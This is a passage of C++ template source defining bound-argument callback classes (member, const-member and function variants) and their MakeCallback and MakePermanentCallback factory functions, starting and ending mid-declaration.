typename P2, typename A1> inline typename MemberResultCallback_2_1<false, RetType, Caller, P1, P2, A1>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_1<false, RetType, Caller, P1, P2, A1>( instance, method, p1, p2); } template <bool del, typename RetType, typename P1, typename P2, typename A1> class FunctionResultCallback_2_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (*Function)(P1, P2, A1); inline FunctionResultCallback_2_1(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (*function_)(p1_, p2_, a1); } else { RetType result = (*function_)(p1_, p2_, a1); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename P1, typename P2, typename A1> class FunctionResultCallback_2_1<del, void, P1, P2, A1> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (*Function)(P1, P2, A1); inline FunctionResultCallback_2_1(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (*function_)(p1_, p2_, a1); } else { (*function_)(p1_, p2_, a1); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename RetType, typename P1, typename P2, typename A1> inline typename FunctionResultCallback_2_1<true, RetType, P1, P2, A1>::base* MakeCallback(RetType (*function)(P1, P2, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_1<true, RetType, P1, P2, A1>(function, p1, p2); } template <typename RetType, typename P1, typename P2, typename A1> inline typename FunctionResultCallback_2_1<false, RetType, P1, P2, A1>::base* MakePermanentCallback(RetType (*function)(P1, P2, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_1<false, RetType, P1, P2, A1>(function, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_2_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, P2, A1, A2) const; inline ConstMemberResultCallback_2_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, p2_, a1, a2); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1, typename A2> class ConstMemberResultCallback_2_2< del, void, Class, P1, P2, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, P2, A1, A2) const; inline ConstMemberResultCallback_2_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, p2_, a1, a2); } else { (instance_->*method_)(p1_, p2_, a1, a2); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename ConstMemberResultCallback_2_2<true, RetType, Caller, P1, P2, A1, A2>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_2<true, RetType, Caller, P1, P2, A1, A2>(instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename ConstMemberResultCallback_2_2<false, RetType, Caller, P1, P2, A1, A2>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_2<false, RetType, Caller, P1, P2, A1, A2>(instance, method, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_2_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, P2, A1, A2); inline MemberResultCallback_2_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, p2_, a1, a2); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1, typename A2> class MemberResultCallback_2_2< del, void, Class, P1, P2, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, P2, A1, A2); inline MemberResultCallback_2_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, p2_, a1, a2); } else { (instance_->*method_)(p1_, p2_, a1, a2); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename MemberResultCallback_2_2<true, RetType, Caller, P1, P2, A1, A2>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_2<true, RetType, Caller, P1, P2, A1, A2>( instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename MemberResultCallback_2_2<false, RetType, Caller, P1, P2, A1, A2>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_2<false, RetType, Caller, P1, P2, A1, A2>( instance, method, p1, p2); } template <bool del, typename RetType, typename P1, typename P2, typename A1, typename A2> class FunctionResultCallback_2_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (*Function)(P1, P2, A1, A2); inline FunctionResultCallback_2_2(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (*function_)(p1_, p2_, a1, a2); } else { RetType result = (*function_)(p1_, p2_, a1, a2); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename P1, typename P2, typename A1, typename A2> class FunctionResultCallback_2_2<del, void, P1, P2, A1, A2> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (*Function)(P1, P2, A1, A2); inline FunctionResultCallback_2_2(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (*function_)(p1_, p2_, a1, a2); } else { (*function_)(p1_, p2_, a1, a2); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename FunctionResultCallback_2_2<true, RetType, P1, P2, A1, A2>::base* MakeCallback(RetType (*function)(P1, P2, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_2<true, RetType, P1, P2, A1, A2>( function, p1, p2); } template <typename RetType, typename P1, typename P2, typename A1, typename A2> inline typename FunctionResultCallback_2_2<false, RetType, P1, P2, A1, A2>::base* MakePermanentCallback(RetType (*function)(P1, P2, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_2<false, RetType, P1, P2, A1, A2>( function, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_2_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, P2, A1, A2, A3) const; inline ConstMemberResultCallback_2_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, p2_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1, typename A2, typename A3> class ConstMemberResultCallback_2_3< del, void, Class, P1, P2, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, P2, A1, A2, A3) const; inline ConstMemberResultCallback_2_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, p2_, a1, a2, a3); } else { (instance_->*method_)(p1_, p2_, a1, a2, a3); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_2_3<true, RetType, Caller, P1, P2, A1, A2, A3>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_3<true, RetType, Caller, P1, P2, A1, A2, A3>(instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_2_3<false, RetType, Caller, P1, P2, A1, A2, A3>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_3<false, RetType, Caller, P1, P2, A1, A2, A3>(instance, method, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_2_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, P2, A1, A2, A3); inline MemberResultCallback_2_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, p2_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1, typename A2, typename A3> class MemberResultCallback_2_3< del, void, Class, P1, P2, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, P2, A1, A2, A3); inline MemberResultCallback_2_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, p2_, a1, a2, a3); } else { (instance_->*method_)(p1_, p2_, a1, a2, a3); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename MemberResultCallback_2_3<true, RetType, Caller, P1, P2, A1, A2, A3>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_3<true, RetType, Caller, P1, P2, A1, A2, A3>(instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename MemberResultCallback_2_3<false, RetType, Caller, P1, P2, A1, A2, A3>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_3<false, RetType, Caller, P1, P2, A1, A2, A3>(instance, method, p1, p2); } template <bool del, typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> class FunctionResultCallback_2_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (*Function)(P1, P2, A1, A2, A3); inline FunctionResultCallback_2_3(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (*function_)(p1_, p2_, a1, a2, a3); } else { RetType result = (*function_)(p1_, p2_, a1, a2, a3); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename P1, typename P2, typename A1, typename A2, typename A3> class FunctionResultCallback_2_3<del, void, P1, P2, A1, A2, A3> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (*Function)(P1, P2, A1, A2, A3); inline FunctionResultCallback_2_3(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (*function_)(p1_, p2_, a1, a2, a3); } else { (*function_)(p1_, p2_, a1, a2, a3); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_2_3<true, RetType, P1, P2, A1, A2, A3>::base* MakeCallback(RetType (*function)(P1, P2, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_3<true, RetType, P1, P2, A1, A2, A3>( function, p1, p2); } template <typename RetType, typename P1, typename P2, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_2_3<false, RetType, P1, P2, A1, A2, A3>::base* MakePermanentCallback(RetType (*function)(P1, P2, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_3<false, RetType, P1, P2, A1, A2, A3>( function, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_3_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1, P2, P3) const; inline ConstMemberResultCallback_3_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3> class ConstMemberResultCallback_3_0< del, void, Class, P1, P2, P3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1, P2, P3) const; inline ConstMemberResultCallback_3_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_, p2_, p3_); } else { (instance_->*method_)(p1_, p2_, p3_); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3> inline typename ConstMemberResultCallback_3_0<true, RetType, Caller, P1, P2, P3>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_0<true, RetType, Caller, P1, P2, P3>( instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3> inline typename ConstMemberResultCallback_3_0<false, RetType, Caller, P1, P2, P3>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_0<false, RetType, Caller, P1, P2, P3>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_3_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1, P2, P3); inline MemberResultCallback_3_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3> class MemberResultCallback_3_0< del, void, Class, P1, P2, P3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1, P2, P3); inline MemberResultCallback_3_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_, p2_, p3_); } else { (instance_->*method_)(p1_, p2_, p3_); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3> inline typename MemberResultCallback_3_0<true, RetType, Caller, P1, P2, P3>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_0<true, RetType, Caller, P1, P2, P3>( instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3> inline typename MemberResultCallback_3_0<false, RetType, Caller, P1, P2, P3>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_0<false, RetType, Caller, P1, P2, P3>( instance, method, p1, p2, p3); } template <bool del, typename RetType, typename P1, typename P2, typename P3> class FunctionResultCallback_3_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (*Function)(P1, P2, P3); inline FunctionResultCallback_3_0(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (*function_)(p1_, p2_, p3_); } else { RetType result = (*function_)(p1_, p2_, p3_); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename P1, typename P2, typename P3> class FunctionResultCallback_3_0<del, void, P1, P2, P3> : public Callback { public: typedef Callback base; typedef void (*Function)(P1, P2, P3); inline FunctionResultCallback_3_0(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (*function_)(p1_, p2_, p3_); } else { (*function_)(p1_, p2_, p3_); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename RetType, typename P1, typename P2, typename P3> inline typename FunctionResultCallback_3_0<true, RetType, P1, P2, P3>::base* MakeCallback(RetType (*function)(P1, P2, P3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_0<true, RetType, P1, P2, P3>( function, p1, p2, p3); } template <typename RetType, typename P1, typename P2, typename P3> inline typename FunctionResultCallback_3_0<false, RetType, P1, P2, P3>::base* MakePermanentCallback(RetType (*function)(P1, P2, P3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_0<false, RetType, P1, P2, P3>( function, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_3_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, P2, P3, A1) const; inline ConstMemberResultCallback_3_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1> class ConstMemberResultCallback_3_1< del, void, Class, P1, P2, P3, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, P2, P3, A1) const; inline ConstMemberResultCallback_3_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1); } else { (instance_->*method_)(p1_, p2_, p3_, a1); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename ConstMemberResultCallback_3_1<true, RetType, Caller, P1, P2, P3, A1>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_1<true, RetType, Caller, P1, P2, P3, A1>(instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename ConstMemberResultCallback_3_1<false, RetType, Caller, P1, P2, P3, A1>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_1<false, RetType, Caller, P1, P2, P3, A1>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_3_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, P2, P3, A1); inline MemberResultCallback_3_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1> class MemberResultCallback_3_1< del, void, Class, P1, P2, P3, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, P2, P3, A1); inline MemberResultCallback_3_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1); } else { (instance_->*method_)(p1_, p2_, p3_, a1); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename MemberResultCallback_3_1<true, RetType, Caller, P1, P2, P3, A1>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_1<true, RetType, Caller, P1, P2, P3, A1>( instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename MemberResultCallback_3_1<false, RetType, Caller, P1, P2, P3, A1>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename 